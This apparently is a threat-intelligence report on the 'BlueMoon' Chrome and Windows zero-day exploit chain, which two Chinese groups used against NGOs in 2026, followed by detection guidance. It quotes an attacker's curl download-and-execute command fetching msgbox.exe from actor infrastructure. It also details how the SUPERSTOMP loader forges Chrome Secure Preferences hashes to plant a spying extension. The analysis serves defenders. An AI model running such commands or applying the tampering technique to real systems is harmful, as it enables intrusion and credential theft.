Overview

On September 1, 2026, Volexity's Network Security Monitoring service caught a spear-phishing email hitting multiple non-governmental organization customers. The lure was a donation-form pretext, the kind of email a fundraising team might send and delete without a second thought. The link went to a legitimate US university website carrying a reflected cross-site scripting bug, and from there redirected to threat-actor infrastructure hosting a three-vulnerability exploit chain that broke out of Chrome's sandbox, escalated privileges in the Windows kernel, and injected code into the browser process -- all before the victim saw anything but a donation form image load.

Volexity attributes that campaign to a Chinese threat actor it tracks as UTA0560. Pulling the thread on its own email telemetry, Volexity's researchers then found a second, unrelated Chinese group -- JungleBamboo, better known publicly as APT31, Violet Typhoon, or TA412 -- running byte-for-byte identical exploit shellcode against a different set of targets, from different infrastructure, delivering a completely different payload. Both clusters started using the chain on the same day. Proofpoint independently tracked the same activity and gave the exploit kit a name: BlueMoon.

The vulnerability at the center of it, CVE-2026-85046, is a case study in a specific and growing problem: the patch gap. A researcher reported the Chrome V8 type-confusion bug on August 4, 2026, and a fix landed in the open-source Chromium codebase shortly after. But the fix didn't reach a released version of Google Chrome until Google shipped 152.0.7977.82 on September 4. In between, the bug was a known N-day at the source-code level and a fully functional zero-day against every user running a released build of Chrome. Volexity assesses with medium confidence that the exploit's developer reverse-engineered the Chromium bug-fix commit itself to build working exploit code inside that window -- and that as AI-assisted vulnerability research accelerates that kind of reverse-engineering, patch-gap zero-days are only going to become a more attractive path for well-resourced attackers.

CISA added CVE-2026-85046 to its Known Exploited Vulnerabilities catalog on September 4, 2026, with a September 18 remediation deadline for federal civilian agencies. This piece walks through the full exploit chain, both post-exploitation campaigns built on top of it, and what defenders should be watching for.

Threat Actor Profiles

UTA0560

UTA0560 is a Chinese threat actor Volexity has tracked since at least March 2026, when it ran an earlier, unsuccessful round of donation-themed phishing against the same NGO sector. Volexity attributes the September 2026 campaign to UTA0560 with high confidence, based on three independent links back to that earlier activity: the same phishing sender address and display name (ircribbin77@hotmail.com, "Irma Cribbin"); the same hosting IP address (206.166.251.164) that served PowerShell staging payloads in March and now hosts cloud.shinewrist.net; and a matching C2 staging convention -- the per-host beacon path used by UTA0560's September loader (/%COMPUTERNAME%.txt) is operationally the same pattern as the March campaign's PowerShell staging path (/%COMPUTERNAME%-%USERNAME%.ps1), both served from the same IP.

UTA0560's September targeting focused on US-based NGOs, using donation-form lures matched precisely to each target organization's own branding.

JungleBamboo (APT31 / Violet Typhoon / TA412)

JungleBamboo is Volexity's tracking name for the actor more widely known as APT31, Violet Typhoon, or TA412 -- a Chinese state-linked espionage group with a long public history of targeting government, NGO, and think-tank organizations. In this campaign, JungleBamboo used generic-looking spam-style lures sent to both a target's work and personal email addresses in the same message. Volexity notes this dual-targeting pattern is uncommon for genuine mass spam (which requires no such preparation) and is instead a technique the firm has observed JungleBamboo use repeatedly through 2026 -- work-and-personal double delivery increases the odds a target opens the message on a personal device or outside monitored channels.

JungleBamboo's domain registration pattern for its campaign infrastructure (gitprogram.com, msbenefit.com, and subdomains, all fronted through Cloudflare Tunnels) is consistent with infrastructure Volexity has previously attributed to the group.

A Shared Chain, Independent Operators

The interesting attribution wrinkle is that UTA0560 and JungleBamboo are not the same actor and do not appear to be coordinating. Volexity assesses with low confidence that the exploit chain was sold or otherwise provided to separate end-users in China, which would explain near-simultaneous campaigns from unrelated infrastructure delivering unrelated payloads, built with what Volexity describes as "entirely different development environments" based on compiler/toolset differences between the two payload sets. Volexity assesses with medium confidence that the narrow patch-gap window itself forced both operators to reuse the core exploit code without modification -- there simply wasn't time to build independent exploits before Google shipped the fix.

Attack Chain

Stage 1 -- Phishing Delivery and Redirect

UTA0560's email linked to a legitimate US university domain vulnerable to reflected XSS, which redirected the click to https://cloud.shinewrist[.]net/<path>/Files1.html. JungleBamboo instead sent direct links to its own infrastructure (https://photos.msbenefit[.]com/fb/w3z, later https://proof.gitprogram[.]com/a4/j8).

Stage 2 -- Decoy Page and Obfuscated Loader (Files1.html / react.min.js)

The landing page is minimal: it loads a threat-actor-hosted JavaScript file (disguised with the filename react.min.js) and displays a decoy image -- in UTA0560's case, a donation form matching the target organization's real branding -- centered on the page. While the victim looks at the decoy, the loader script runs in the background.

The loader is obfuscated but carries one deliberately unobfuscated configuration block defining a base CONFIG_URL. At runtime it appends a mode=payload flag (arming the exploit -- without it, the page does nothing, which Volexity assesses is a built-in safety switch for the operators' own testing) and an exeurl parameter pointing to the final payload binary. This assembled URL is injected as the source of a hidden iframe appended to the decoy page's DOM, invisible to the victim.

Stage 3 -- The Exploit Page (page.html)

This is where the actual browser exploitation happens, and Volexity's analysis of it reads like a leaked internal development tool. The page holds its exploit code inert inside <script type="text/plain"> blocks (so the browser parses it as inert data, not executable script), concatenates the blocks, and runs the assembled exploit inside a dedicated Web Worker thread -- meaning a failed exploitation attempt crashes a background thread instead of the visible tab, so the victim never sees a tab crash or reload. A retry mechanism reattempts up to five times on recoverable failures.

Development-time strings embedded in the page place its construction between August 27 and 29, 2026 -- just days before Volexity observed the first phishing emails. The page accepts thirteen URL parameters, several of which are unmistakably a developer's debug harness rather than anything needed in production: a beacon parameter for phase-by-phase telemetry, a dry flag for a no-payload dry run, step/p2step breakpoints inside individual exploit stages, a stopAfter parameter to halt at a named phase, and a map override for the V8 heap constant the exploit otherwise derives automatically at runtime (giving it resilience across Chrome point releases without needing that constant hardcoded).

Three payloads are pre-staged as Base64-embedded shellcode inside the page, executed in strict order:

• p1 (reconnaissance): A position-independent shellcode that reflectively loads an embedded DLL and builds a JSON host profile -- OS version, process token/privilege/integrity data, CPUID features, and hypervisor fingerprinting (distinguishing VMware, Hyper-V, KVM, and Xen). Its anti-analysis checks are passive: debugger and sandbox indicators are reported in the JSON, not acted on by the DLL itself -- the calling JavaScript decides whether to proceed, based on just three of the returned fields (enough to determine whether the Windows build needs the kernel LPE stage at all).
• p2 (Windows kernel LPE): A second reflectively-loaded DLL exploiting CVE-2026-85880, a previously unreported vulnerability in RtlpCreateServerAcl, to escalate the calling process's privileges. This stage only runs if the process isn't already elevated and the Windows build falls in a specific target range -- Windows 10 1809 through 22H2, Windows Server 2019/2022, and the original Windows 11 21H2 release. Any build above 22000 is explicitly rejected by the exploit.
• pp (browser-process injection): The final shellcode, which requires p2's elevated privileges to open the Chrome browser process and inject into it -- crossing the last sandbox boundary. From here, everything runs inside the legitimate Chrome process, indistinguishable from normal browser child-process activity except for the command line. The shellcode calls CreateProcessA to run a download-and-execute command; in UTA0560's campaign, this was cmd.exe /c curl -f -sS -o "%TEMP%\msgbox.exe" "https://cloud[.]shinewrist[.]net/<path>/msgbox[.]exe" && "%TEMP%\msgbox.exe".

CVE-2026-85046 (the V8 type-confusion bug providing initial arbitrary read/write) and CVE-2026-87491 (a separate WebAssembly defect used to escape the V8 sandbox itself) both do their work before p1 even runs; p1/p2/pp is what happens after the browser sandbox is already breached.

Both UTA0560 and JungleBamboo delivered this exact page with byte-for-byte identical shellcode. JungleBamboo hosted its own copy on proof.gitprogram[.]com and photos.msbenefit[.]com but pointed the exeurl parameter at a different payload.

Stage 4a -- UTA0560's Path: GRIMWEDGE

UTA0560's downloaded binary, msgbox.exe, is a dropper compiled August 31, 2026 -- one day before the phishing run began. It extracts a legitimate signed Windows EXE and a malicious DLL, wsc.dll, from its PE resources and sideloads the DLL through the legitimate binary. wsc.dll establishes persistence via a scheduled task named "Windows Scheduled System" that re-runs the sideloading chain every five minutes, then beacons to a per-host URL pattern -- https://cloud[.]shinewrist[.]net/<path>/%COMPUTERNAME%.txt -- allowing UTA0560 to stage victim-specific payloads rather than serving the same file to every infected host indiscriminately (unprovisioned hostnames simply get an HTTP 404).

When a payload is staged, wsc.dll writes it to %TEMP%\Temp.txt and runs it via msiexec /i. That file is a Windows Installer package (built with Advanced Installer 14.5.2) whose custom actions run an obfuscated JScript. The JScript opens an HTTP client and loops indefinitely, POSTing the victim's domain, username, and prior command output to https://ocr[.]opusaccel[.]top, then evaluating the HTTP response body as JScript -- a live remote-code-as-a-service channel. The script Volexity retrieved this way is what they track as GRIMWEDGE: a compact (under 250 lines) backdoor running entirely in memory inside msiexec.exe, supporting ten commands covering system reconnaissance, directory listing/creation, file deletion, process listing and termination, file read (up to 5MB), hidden-window command execution, and chunked file upload. It has no built-in persistence, lateral movement, or automated exfiltration beyond those file-read and upload primitives -- UTA0560 uses it as a lightweight foothold to survey a host and then pull down whatever additional tooling the operation requires.

UTA0560 updated both msgbox.exe and wsc.dll on September 2, 2026 -- one day into the campaign -- changing the scheduled task's behavior from a passive cached-file retry to active re-execution of the entire chain, and adding a duplicate-task guard. Notably, the C2 URL, the download mechanism, and the scheduled task's name stayed identical across the revision, which matters directly for detection (see below).

Stage 4b -- JungleBamboo's Path: SUPERSTOMP and LONGTALE

JungleBamboo's payload took a different route entirely: rather than a traditional loader-to-backdoor chain, it deployed SUPERSTOMP, a loader built to install a malicious Chrome extension by tampering with Chrome's Secure Preferences file.

This is a more technically interesting move than it sounds. Chromium hardened this exact attack surface twice in the past year -- adding per-preference _encrypted_hash integrity values in November 2025, and a full-profile super_encrypted_hash check in June 2026. SUPERSTOMP defeats both: it copies the existing Secure Preferences file, strips the per-preference and full-profile encrypted hashes, injects the malicious extension entry with the required settings enabled, regenerates valid legacy HMAC values for the modified file, and replaces the original. Because Chrome still permits legacy-MAC fallback by default (a state of affairs that, per Volexity, only changed to be non-default in a Chrome release as of September 8, 2026, and even then only for browsers compiled from source), Chrome accepts the forged file as requiring "migration" and re-authenticates the tampered extension under its own newer integrity scheme on next launch. Volexity notes this specific technique was added to one of the most popular GitHub repositories associated with silent Chrome extension installation on August 6, 2026 -- three weeks before JungleBamboo's campaign began.

The installed extension, which Volexity tracks as LONGTALE, masquerades as a Google Gemini Chrome extension (extension ID ckiknalbeplpcpofpnabcnhjcegckfei) and functions as a comprehensive in-browser surveillance tool: unrestricted keylogging and form-field capture across every open tab (with no exclusion for password fields), theft of all browser cookies plus localStorage/sessionStorage tokens (giving multiple independent paths to hijack an authenticated session), keyword-triggered screenshot capture via polling and DOM MutationObservers, and bulk exfiltration of collected data at roughly 30-second intervals -- enabled by default from first run. It accepts fourteen remote commands, mostly configuration and on-demand collection, including arbitrary cross-origin HTTP requests issued from inside the victim's authenticated browser session.

Pointedly, LONGTALE has no remote code execution capability at all. Volexity assesses with low confidence that JungleBamboo considered this unnecessary -- the extension's credential and session-theft capability alone is sufficient for the group's espionage objectives, and Volexity's broader observation is that credential theft, not code execution, is increasingly the actual goal in intrusions like this one. Malicious browser extensions are also, in Volexity's experience, meaningfully harder for defenders to detect than malicious executables.

Timeline

Detection Guidance

Process-Level Detections (Windows EDR)

Browser process spawning a download-and-execute chain. The single highest-fidelity host signal in this campaign is chrome.exe (or another Chromium-based browser sharing the vulnerable V8 engine) appearing as the parent of cmd.exe or curl.exe, with a command line downloading a file to %TEMP% and immediately executing it. This is the pp-stage injection surfacing in process telemetry, and because the exeurl parameter is attacker-controlled at exploit-page runtime rather than hardcoded, this behavioral pattern is far more durable than any single domain or hash.

Scheduled task named "Windows Scheduled System." UTA0560's GRIMWEDGE persistence creates this task to re-run its sideloading chain every five minutes. The task name and its re-execution cadence survived UTA0560's September 2 revision of the underlying loader, making it a stable pivot point even as the payload itself changes.

msiexec.exe making outbound HTTP POST requests in a loop. GRIMWEDGE's final backdoor runs as an eval()'d string inside msiexec.exe. Outbound HTTP activity from msiexec.exe, particularly repeating POST requests with tab-delimited bodies, is anomalous for a process whose legitimate role is installer execution.

Chrome Secure Preferences file modification outside of normal profile sync/update behavior. SUPERSTOMP's technique depends on rewriting Secure Preferences and regenerating its HMAC values. File-integrity or EDR file-write monitoring on this specific file, correlated with a subsequent new extension ID appearing in the profile, is a strong signal for this half of the campaign.

Unrecognized extension ID ckiknalbeplpcpofpnabcnhjcegckfei masquerading as Google Gemini. Browser extension inventory tooling (via Chrome Enterprise policy reporting or EDR browser-extension visibility) should flag this ID directly; more durably, flag any Gemini-branded extension whose ID does not match Google's official published extension ID for its real Gemini integration.

Network-Level Detections

Known BlueMoon infrastructure. cloud.shinewrist[.]net and ocr.opusaccel[.]top (UTA0560); gitprogram[.]com and msbenefit[.]com plus subdomains (JungleBamboo); and IP 206.166.251.164 (hosts UTA0560's shinewrist.net). Note that JungleBamboo's domains resolve through Cloudflare Tunnels, so IP-based blocking will not be effective against that cluster -- domain and URL matching is required.

Per-host beacon URI pattern. Requests to cloud.shinewrist[.]net for a path ending in .txt where the filename matches the requesting host's computer name is GRIMWEDGE's staging beacon and is unlikely to appear in any legitimate traffic pattern.

Reflected XSS abuse on outbound links in phishing-reported email. Because UTA0560's initial redirect abuses a legitimate third-party site's own XSS flaw, standard "known bad domain" email link filtering will miss the first hop entirely. Security awareness / phishing-report workflows should specifically check for unexpected query-string redirect parameters on otherwise-legitimate linked domains.

Identity and Browser-Session Detections

Anomalous session/cookie reuse following unexplained authentication. Because LONGTALE's entire value to JungleBamboo is credential and session theft rather than code execution, downstream detection should focus on identity telemetry: authentication events using a session token or cookie value associated with a browser session that also shows signs of extension tampering, impossible-travel logins shortly following a suspected compromise, or new OAuth/API tokens issued to sessions with no corresponding interactive login from the expected device.

Chrome policy/extension audit drift. Organizations using Chrome Enterprise should specifically alert on any managed profile where the enterprise-pushed extension allowlist and the locally observed extension inventory diverge -- SUPERSTOMP's entire technique is designed to make an unauthorized extension appear as if it passed normal integrity validation.

Indicators of Compromise

Network

File Hashes (SHA-256)

Host Artifacts

MITRE ATT&CK Mapping

Key Takeaways

A patch gap is a full zero-day, even when the fix already exists. CVE-2026-85046 was fixed in the Chromium source before Google ever shipped it to users, and that gap was exactly the window both UTA0560 and JungleBamboo needed. Any organization treating "the fix is in the upstream repo" as equivalent to "we're protected" is exposed during exactly this kind of window -- and Volexity's own assessment is that AI-accelerated vulnerability research is likely to widen, not close, these gaps going forward.

Two unrelated APT clusters running identical exploit code on the same day is a supply-chain signal worth taking seriously. This wasn't a coincidence or convergent discovery -- byte-for-byte identical shellcode from separate infrastructure strongly suggests a shared exploit broker or developer serving multiple Chinese operators. Defenders should expect this pattern to recur: a single high-value patch-gap exploit distributed to several independently operating customers in a tight window.

The two payloads chosen reveal two different philosophies of access. UTA0560 built a lightweight, extensible backdoor (GRIMWEDGE) for hands-on-keyboard operations. JungleBamboo skipped code execution capability entirely in favor of a credential-and-session-theft browser extension (LONGTALE) that Volexity assesses is harder to detect than an executable and sufficient on its own for espionage objectives. Detection programs built primarily around process/file telemetry risk missing the LONGTALE half of this story entirely -- browser extension inventory and identity/session-anomaly detection are not optional complements here, they're required.

Behavioral detection outlasts IOC-based detection in this campaign specifically. UTA0560 recompiled its dropper and loader within 48 hours of first use while keeping the task name, C2 URL pattern, and injection mechanism unchanged. Hash-based detection on this campaign has a short shelf life; the scheduled task name, the browser-process-to-curl-to-TEMP pattern, and the per-host beacon URI convention are the parts of this chain built to be reused, and are where durable detection logic should be invested.

References

1. Lancaster, T., Saini, A., Quigley, C., Koessel, S., & Adair, S. (2026, September 9). Mind the (Patch) Gap: Multiple Chinese Threat Actors Chain 0-day Exploits in Chrome & Windows. Volexity. https://www.volexity.com/blog/2026/09/09/mind-the-patch-gap-multiple-chinese-threat-actors-chain-0-day-exploits-in-chrome-windows/

2. Proofpoint Threat Insight. (2026, September). Once in a BlueMoon: Multiple State-Aligned Threat Actors Rapidly Adopt Novel Exploit Chain Using Chrome and Windows Zero-Days. Proofpoint. https://www.proofpoint.com/us/blog/threat-insight/once-bluemoon-multiple-state-aligned-threat-actors-rapidly-adopt-novel-exploit

3. Lakshmanan, R. (2026, September 4). Google Releases Chrome Update to Patch Actively Exploited V8 Zero-Day. The Hacker News. https://thehackernews.com/2026/09/google-releases-chrome-update-to-patch.html

4. Google Chrome Releases. (2026, September 4). Stable Channel Update for Desktop. https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop_01882797386.html

5. CISA. (2026, September 4). CISA Adds One Known Exploited Vulnerability to Catalog. https://www.cisa.gov/news-events/alerts/2026/09/04/cisa-adds-one-known-exploited-vulnerability-catalog

6. Toulas, B. New 'BlueMoon' Kit Exploited Windows and Chrome Zero-Day Flaws. BleepingComputer. https://www.bleepingcomputer.com/news/security/new-bluemoon-kit-exploited-windows-and-chrome-zero-day-flaws/

7. Security Affairs. Four Nation-State Actors Used the Same Chrome Zero-Day Exploit Kit Within 12 Days. https://securityaffairs.com/198783/apt/four-nation-state-actors-used-the-same-chrome-zero-day-exploit-kit-within-12-days.html

8. Volexity Threat Intelligence. (2026, September 9). Indicators of Compromise: 2026-09-09 Chrome Exploit Chain. GitHub. https://github.com/volexity/threat-intel/tree/main/2026/2026-09-09 Chrome

9. Gulizia, S. (Serotav). When Sorting Leads to Confusion. https://serotav.github.io/Writeups/v8/when-sorting-leads-to-confusion/

10. CVE.org. CVE-2026-85046. https://www.cve.org/CVERecord?id=CVE-2026-85046

11. NVD. CVE-2026-87491. https://nvd.nist.gov/vuln/detail/cve-2026-87491

12. Microsoft Security Response Center. CVE-2026-85880. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85880